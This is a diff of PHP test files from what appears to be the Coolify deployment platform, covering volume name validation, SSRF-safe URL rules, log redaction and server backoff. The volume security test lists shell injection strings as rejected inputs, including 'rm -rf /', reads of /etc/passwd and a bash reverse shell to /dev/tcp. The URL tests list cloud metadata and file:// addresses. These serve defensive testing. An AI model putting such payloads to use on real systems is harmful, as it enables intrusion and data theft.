$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$reflection = new ReflectionClass($job);
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$appProp = $reflection->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($job, $application);
$queueProp = $reflection->getProperty('application_deployment_queue');
$queueProp->setAccessible(true);
$queueProp->setValue($job, $deploymentQueue);
$method = $reflection->getMethod('generate_healthcheck_commands');
$method->setAccessible(true);
+17
View File
@@ -0,0 +1,17 @@
<?php
/**
* Architecture tests to prevent use of insecure PRNGs in application code.
*
* mt_rand() and rand() are not cryptographically secure. Use random_int()
* or random_bytes() instead for any security-sensitive context.
*
* @see GHSA-33rh-4c9r-74pf
*/
arch('app code must not use mt_rand')
->expect('App')
->not->toUse(['mt_rand', 'mt_srand']);
arch('app code must not use rand')
->expect('App')
->not->toUse(['rand', 'srand']);
@@ -0,0 +1,76 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationPreview;
use App\Models\ApplicationSetting;
use App\Models\CloudProviderToken;
use App\Models\Environment;
use App\Models\GithubApp;
use App\Models\Project;
use App\Models\ProjectSetting;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\ScheduledTask;
use App\Models\ScheduledTaskExecution;
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\StandaloneClickhouse;
use App\Models\StandaloneDocker;
use App\Models\StandaloneDragonfly;
use App\Models\StandaloneKeydb;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Subscription;
use App\Models\SwarmDocker;
use App\Models\Tag;
use App\Models\User;
it('keeps required mass-assignment attributes fillable for internal create flows', function (string $modelClass, array $expectedAttributes) {
$model = new $modelClass;
expect($model->getFillable())->toContain(...$expectedAttributes);
})->with([
// Relationship/ownership keys
[CloudProviderToken::class, ['team_id']],
[Tag::class, ['team_id']],
[Subscription::class, ['team_id']],
[ScheduledTaskExecution::class, ['scheduled_task_id']],
[ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']],
[ScheduledDatabaseBackup::class, ['uuid', 'team_id']],
[ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']],
[ServiceDatabase::class, ['service_id']],
[ServiceApplication::class, ['service_id']],
[ApplicationDeploymentQueue::class, ['docker_registry_image_tag']],
[Project::class, ['team_id', 'uuid']],
[Environment::class, ['project_id', 'uuid']],
[ProjectSetting::class, ['project_id']],
[ApplicationSetting::class, ['application_id']],
[ServerSetting::class, ['server_id']],
[SwarmDocker::class, ['server_id']],
[StandaloneDocker::class, ['server_id']],
[User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']],
[Server::class, ['ip_previous']],
[GithubApp::class, ['team_id', 'private_key_id']],
// Application/Service resource keys (including uuid for clone flows)
[Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']],
[ApplicationPreview::class, ['uuid', 'application_id']],
[Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']],
// Standalone database resource keys (including uuid for clone flows)
[StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
]);
@@ -0,0 +1,98 @@
<?php
/**
* Persistent Volume Security Tests
*
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
* Related Advisory: GHSA-mh8x-fppq-cp77
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
* - app/Livewire/Project/Service/Storage.php
* - app/Actions/Service/DeleteService.php
*/
use App\Support\ValidationPatterns;
// --- Volume Name Pattern Tests ---
it('accepts valid Docker volume names', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'myvolume',
'with hyphens' => 'my-volume',
'with underscores' => 'my_volume',
'with dots' => 'my.volume',
'with uuid prefix' => 'abc123-postgres-data',
'numeric start' => '1volume',
'complex name' => 'app123-my_service.data-v2',
]);
it('rejects volume names with shell metacharacters', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon injection' => 'vol; rm -rf /',
'pipe injection' => 'vol | cat /etc/passwd',
'ampersand injection' => 'vol && whoami',
'backtick injection' => 'vol`id`',
'dollar command substitution' => 'vol$(whoami)',
'redirect injection' => 'vol > /tmp/evil',
'space in name' => 'my volume',
'slash in name' => 'my/volume',
'newline injection' => "vol\nwhoami",
'starts with hyphen' => '-volume',
'starts with dot' => '.volume',
]);
// --- escapeshellarg Defense Tests ---
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
// The command should contain the name as a single quoted argument,
// preventing shell interpretation of metacharacters
expect($command)->not->toContain('; ')
->not->toContain('| ')
->not->toContain('&& ')
->not->toContain('`')
->toStartWith('docker volume rm -f ');
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
]);
// --- volumeNameRules Tests ---
it('generates volumeNameRules with correct defaults', function () {
$rules = ValidationPatterns::volumeNameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
});
it('generates nullable volumeNameRules when not required', function () {
$rules = ValidationPatterns::volumeNameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates correct volumeNameMessages', function () {
$messages = ValidationPatterns::volumeNameMessages();
expect($messages)->toHaveKey('name.regex');
});
it('generates volumeNameMessages with custom field name', function () {
$messages = ValidationPatterns::volumeNameMessages('volume_name');
expect($messages)->toHaveKey('volume_name.regex');
});
@@ -0,0 +1,176 @@
<?php
/**
* Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments.
*
* Behavioral tests for addPreviewDeploymentSuffix and related helper functions.
*
* Note: The parser functions (applicationParser, serviceParser) and
* ApplicationDeploymentJob methods require database-persisted models with
* relationships (Application->destination->server, etc.), making them
* unsuitable for unit tests. Integration tests for those paths belong
* in tests/Feature/.
*/
describe('addPreviewDeploymentSuffix', function () {
it('appends -pr-N suffix for non-zero pull request id', function () {
expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3');
});
it('returns name unchanged when pull request id is zero', function () {
expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume');
});
it('handles pull request id of 1', function () {
expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1');
});
it('handles large pull request ids', function () {
expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999');
});
it('handles names with dots and slashes', function () {
expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2');
});
it('handles names with existing hyphens', function () {
expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5');
});
it('handles empty name with non-zero pr id', function () {
expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1');
});
it('handles uuid-prefixed volume names', function () {
$uuid = 'abc123_my-volume';
expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7');
});
it('defaults pull_request_id to 0', function () {
expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume');
});
});
describe('sourceIsLocal', function () {
it('detects relative paths starting with dot-slash', function () {
expect(sourceIsLocal(str('./scripts')))->toBeTrue();
});
it('detects absolute paths starting with slash', function () {
expect(sourceIsLocal(str('/var/data')))->toBeTrue();
});
it('detects tilde paths', function () {
expect(sourceIsLocal(str('~/data')))->toBeTrue();
});
it('detects parent directory paths', function () {
expect(sourceIsLocal(str('../config')))->toBeTrue();
});
it('returns false for named volumes', function () {
expect(sourceIsLocal(str('myvolume')))->toBeFalse();
});
});
describe('replaceLocalSource', function () {
it('replaces dot-slash prefix with target path', function () {
$result = replaceLocalSource(str('./scripts'), str('/app'));
expect((string) $result)->toBe('/app/scripts');
});
it('replaces dot-dot-slash prefix with target path', function () {
$result = replaceLocalSource(str('../config'), str('/app'));
expect((string) $result)->toBe('/app./config');
});
it('replaces tilde prefix with target path', function () {
$result = replaceLocalSource(str('~/data'), str('/app'));
expect((string) $result)->toBe('/app/data');
});
});
/**
* Source-code structure tests for parser and deployment job.
*
* These verify that key code patterns exist in the parser and deployment job.
* They are intentionally text-based because the parser/deployment functions
* require database-persisted models with deep relationships, making behavioral
* unit tests impractical. Full behavioral coverage should be done via Feature tests.
*/
describe('parser structure: bind mount handling', function () {
it('checks is_preview_suffix_enabled before applying suffix', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
$bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')");
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
$bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart);
expect($bindBlock)
->toContain('$isPreviewSuffixEnabled')
->toContain('is_preview_suffix_enabled')
->toContain('addPreviewDeploymentSuffix');
});
it('applies preview suffix to named volumes', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
$volumeBlock = substr($parsersFile, $volumeBlockStart, 1000);
expect($volumeBlock)->toContain('addPreviewDeploymentSuffix');
});
});
describe('parser structure: label generation uuid isolation', function () {
it('uses labelUuid instead of mutating shared uuid', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;');
$labelBlock = substr($parsersFile, $labelBlockStart, 300);
expect($labelBlock)
->toContain('$labelUuid = $resource->uuid')
->not->toContain('$uuid = $resource->uuid')
->not->toContain('$uuid = "{$resource->uuid}');
});
it('uses labelUuid in all proxy label generation calls', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly');
$labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')");
$labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart);
expect($labelBlock)
->toContain('uuid: $labelUuid')
->not->toContain('uuid: $uuid');
});
});
describe('deployment job structure: is_preview_suffix_enabled', function () {
it('checks setting in generate_local_persistent_volumes', function () {
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()');
$methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
expect($methodBlock)
->toContain('is_preview_suffix_enabled')
->toContain('$isPreviewSuffixEnabled')
->toContain('addPreviewDeploymentSuffix');
});
it('checks setting in generate_local_persistent_volumes_only_volume_names', function () {
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
$methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()');
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
expect($methodBlock)
->toContain('is_preview_suffix_enabled')
->toContain('$isPreviewSuffixEnabled')
->toContain('addPreviewDeploymentSuffix');
});
});
+173
View File
@@ -0,0 +1,173 @@
<?php
use App\Actions\Proxy\GetProxyConfiguration;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Spatie\SchemalessAttributes\SchemalessAttributes;
beforeEach(function () {
Log::spy();
Cache::spy();
});
function mockServerWithDbConfig(?string $savedConfig, string $proxyType = 'TRAEFIK'): object
{
$proxyAttributes = Mockery::mock(SchemalessAttributes::class);
$proxyAttributes->shouldReceive('get')
->with('last_saved_proxy_configuration')
->andReturn($savedConfig);
$proxyPath = match ($proxyType) {
'CADDY' => '/data/coolify/proxy/caddy',
'NGINX' => '/data/coolify/proxy/nginx',
default => '/data/coolify/proxy/',
};
$server = Mockery::mock('App\Models\Server');
$server->shouldIgnoreMissing();
$server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes);
$server->shouldReceive('getAttribute')->with('id')->andReturn(1);
$server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server');
$server->shouldReceive('proxyType')->andReturn($proxyType);
$server->shouldReceive('proxyPath')->andReturn($proxyPath);
return $server;
}
it('returns OK for NONE proxy type without reading config', function () {
$server = Mockery::mock('App\Models\Server');
$server->shouldIgnoreMissing();
$server->shouldReceive('proxyType')->andReturn('NONE');
$result = GetProxyConfiguration::run($server);
expect($result)->toBe('OK');
});
it('reads proxy configuration from database', function () {
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
$server = mockServerWithDbConfig($savedConfig);
// ProxyDashboardCacheService is called at the end — mock it
$server->shouldReceive('proxyType')->andReturn('TRAEFIK');
$result = GetProxyConfiguration::run($server);
expect($result)->toBe($savedConfig);
});
it('preserves full custom config including labels, env vars, and custom commands', function () {
$customConfig = <<<'YAML'
services:
traefik:
image: traefik:v3.5
command:
- '--entrypoints.http.address=:80'
- '--metrics.prometheus=true'
labels:
- 'traefik.enable=true'
- 'waf.custom.middleware=true'
environment:
CF_API_EMAIL: user@example.com
CF_API_KEY: secret-key
YAML;
$server = mockServerWithDbConfig($customConfig);
$result = GetProxyConfiguration::run($server);
expect($result)->toBe($customConfig)
->and($result)->toContain('waf.custom.middleware=true')
->and($result)->toContain('CF_API_EMAIL')
->and($result)->toContain('metrics.prometheus=true');
});
it('logs warning when regenerating defaults', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::spy();
// No DB config, no disk config — will try to regenerate
$server = mockServerWithDbConfig(null);
// backfillFromDisk will be called — we need instant_remote_process to return empty
// Since it's a global function we can't easily mock it, so test the logging via
// the force regenerate path instead
try {
GetProxyConfiguration::run($server, forceRegenerate: true);
} catch (\Throwable $e) {
// generateDefaultProxyConfiguration may fail without full server setup
}
Log::shouldHaveReceived('warning')
->withArgs(fn ($message) => str_contains($message, 'regenerated to defaults'))
->once();
});
it('does not read from disk when DB config exists', function () {
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
$server = mockServerWithDbConfig($savedConfig);
// If disk were read, instant_remote_process would be called.
// Since we're not mocking it and the test passes, it proves DB is used.
$result = GetProxyConfiguration::run($server);
expect($result)->toBe($savedConfig);
});
it('rejects stored Traefik config when proxy type is CADDY', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::spy();
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
$server = mockServerWithDbConfig($traefikConfig, 'CADDY');
// Config type mismatch should trigger regeneration, which will try
// backfillFromDisk (instant_remote_process) then generateDefault.
// Both will fail in test env, but the warning log proves mismatch was detected.
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
Log::shouldHaveReceived('warning')
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
->once();
});
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
Log::swap(new \Illuminate\Log\LogManager(app()));
Log::spy();
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
$server = mockServerWithDbConfig($caddyConfig, 'TRAEFIK');
try {
GetProxyConfiguration::run($server);
} catch (\Throwable $e) {
// Expected — regeneration requires SSH/full server setup
}
Log::shouldHaveReceived('warning')
->withArgs(fn ($message) => str_contains($message, 'does not match current proxy type'))
->once();
});
it('accepts stored Caddy config when proxy type is CADDY', function () {
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
$server = mockServerWithDbConfig($caddyConfig, 'CADDY');
$result = GetProxyConfiguration::run($server);
expect($result)->toBe($caddyConfig);
});
it('accepts stored config when YAML parsing fails', function () {
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
$result = GetProxyConfiguration::run($server);
expect($result)->toBe($invalidYaml);
});
+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Rules\SafeExternalUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeExternalUrl;
$validUrls = [
'https://api.github.com',
'https://github.example.com/api/v3',
'https://example.com',
'http://example.com',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('rejects private IPv4 addresses', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'10.x range' => 'http://10.0.0.1',
'172.16.x range' => 'http://172.16.0.1',
'192.168.x range' => 'http://192.168.1.1',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'zero address' => 'http://0.0.0.0',
'.local domain' => 'http://myservice.local',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-URL strings', function (string $value) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'plain string' => 'not-a-url',
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'no scheme' => 'example.com',
]);
it('rejects URLs with IPv6 loopback', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
+90
View File
@@ -0,0 +1,90 @@
<?php
use App\Rules\SafeWebhookUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeWebhookUrl;
$validUrls = [
'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXX',
'https://discord.com/api/webhooks/123456/abcdef',
'https://example.com/webhook',
'http://example.com/webhook',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('accepts private network IPs for self-hosted deployments', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}");
})->with([
'10.x range' => 'http://10.0.0.5/webhook',
'172.16.x range' => 'http://172.16.0.1:8080/hook',
'192.168.x range' => 'http://192.168.1.50:8080/webhook',
]);
it('rejects loopback addresses', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'loopback /8 range' => 'http://127.0.0.2',
'zero address' => 'http://0.0.0.0',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects link-local range', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: link-local IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-http schemes', function (string $value) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'file scheme' => 'file:///etc/passwd',
'no scheme' => 'example.com',
]);
it('rejects IPv6 loopback', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
+16
View File
@@ -153,6 +153,22 @@ it('removes AWS secret access key', function () {
expect($result)->toContain('aws_secret_access_key='.REDACTED);
});
it('removes HTTPS basic auth passwords from git URLs', function () {
$testCases = [
'https://oauth2:glpat-xxxxxxxxxxxx@gitlab.com/user/repo.git' => 'https://oauth2:'.REDACTED.'@'.REDACTED,
'https://user:my-secret-token@gitlab.example.com/group/repo.git' => 'https://user:'.REDACTED.'@'.REDACTED,
'http://deploy:token123@git.internal.com/repo.git' => 'http://deploy:'.REDACTED.'@'.REDACTED,
];
foreach ($testCases as $input => $notExpected) {
$result = sanitizeLogsForExport($input);
// The password should be redacted
expect($result)->not->toContain('glpat-xxxxxxxxxxxx');
expect($result)->not->toContain('my-secret-token');
expect($result)->not->toContain('token123');
}
});
it('removes generic URL passwords', function () {
$testCases = [
'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path',
+77
View File
@@ -0,0 +1,77 @@
<?php
use App\Jobs\SendWebhookJob;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Tests\TestCase;
uses(TestCase::class);
it('sends webhook to valid URLs', function () {
Http::fake(['*' => Http::response('ok', 200)]);
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'https://example.com/webhook'
);
$job->handle();
Http::assertSent(function ($request) {
return $request->url() === 'https://example.com/webhook';
});
});
it('blocks webhook to loopback address', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://127.0.0.1/admin'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to cloud metadata endpoint', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://169.254.169.254/latest/meta-data/'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to localhost', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://localhost/internal-api'
);
$job->handle();
Http::assertNothingSent();
});
+175
View File
@@ -0,0 +1,175 @@
<?php
use App\Jobs\ServerCheckJob;
use App\Jobs\ServerConnectionCheckJob;
use App\Jobs\ServerManagerJob;
use App\Models\Server;
use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Carbon;
use Tests\TestCase;
uses(TestCase::class);
beforeEach(function () {
Carbon::setTestNow('2025-01-15 12:00:00');
});
afterEach(function () {
Mockery::close();
Carbon::setTestNow();
});
describe('getBackoffCycleInterval', function () {
it('returns correct intervals for unreachable counts', function () {
$job = new ServerManagerJob;
$method = new ReflectionMethod($job, 'getBackoffCycleInterval');
expect($method->invoke($job, 0))->toBe(1)
->and($method->invoke($job, 1))->toBe(1)
->and($method->invoke($job, 2))->toBe(1)
->and($method->invoke($job, 3))->toBe(3)
->and($method->invoke($job, 5))->toBe(3)
->and($method->invoke($job, 6))->toBe(6)
->and($method->invoke($job, 11))->toBe(6)
->and($method->invoke($job, 12))->toBe(12)
->and($method->invoke($job, 100))->toBe(12);
});
});
describe('shouldSkipDueToBackoff', function () {
it('never skips servers with unreachable_count <= 2', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
foreach ([0, 1, 2] as $count) {
$server->unreachable_count = $count;
// Test across all minutes in an hour
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
expect($method->invoke($job, $server))->toBeFalse(
"Should not skip with unreachable_count={$count} at minute={$minute}"
);
}
}
});
it('skips most cycles for servers with high unreachable count', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
$server->unreachable_count = 15; // interval = 12
$skipCount = 0;
$allowCount = 0;
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if ($method->invoke($job, $server)) {
$skipCount++;
} else {
$allowCount++;
}
}
// With interval=12, most cycles should be skipped but at least one should be allowed
expect($allowCount)->toBeGreaterThan(0)
->and($skipCount)->toBeGreaterThan($allowCount);
});
it('distributes checks across servers using server ID hash', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
// Two servers with same unreachable_count but different IDs
$server1 = Mockery::mock(Server::class)->makePartial();
$server1->id = 1;
$server1->unreachable_count = 5; // interval = 3
$server2 = Mockery::mock(Server::class)->makePartial();
$server2->id = 2;
$server2->unreachable_count = 5; // interval = 3
$server1AllowedMinutes = [];
$server2AllowedMinutes = [];
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if (! $method->invoke($job, $server1)) {
$server1AllowedMinutes[] = $minute;
}
if (! $method->invoke($job, $server2)) {
$server2AllowedMinutes[] = $minute;
}
}
// Both servers should have some allowed minutes, but not all the same
expect($server1AllowedMinutes)->not->toBeEmpty()
->and($server2AllowedMinutes)->not->toBeEmpty()
->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
});
});
describe('ServerConnectionCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
$settings = Mockery::mock();
$settings->shouldReceive('update')
->with(['is_reachable' => false, 'is_usable' => false])
->once();
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$job = new ServerConnectionCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerConnectionCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
describe('ServerCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
@@ -0,0 +1,20 @@
<?php
use App\Models\Server;
it('includes a uuid in standalone docker bootstrap attributes for the root server path', function () {
$server = new Server;
$server->id = 0;
$attributes = $server->defaultStandaloneDockerAttributes(id: 0);
expect($attributes)
->toMatchArray([
'id' => 0,
'name' => 'coolify',
'network' => 'coolify',
'server_id' => 0,
])
->and($attributes['uuid'])->toBeString()
->and($attributes['uuid'])->not->toBe('');
});
@@ -4,7 +4,7 @@
* Unit tests to verify that Docker Compose environment variables
* do not overwrite user-saved values on redeploy.
*
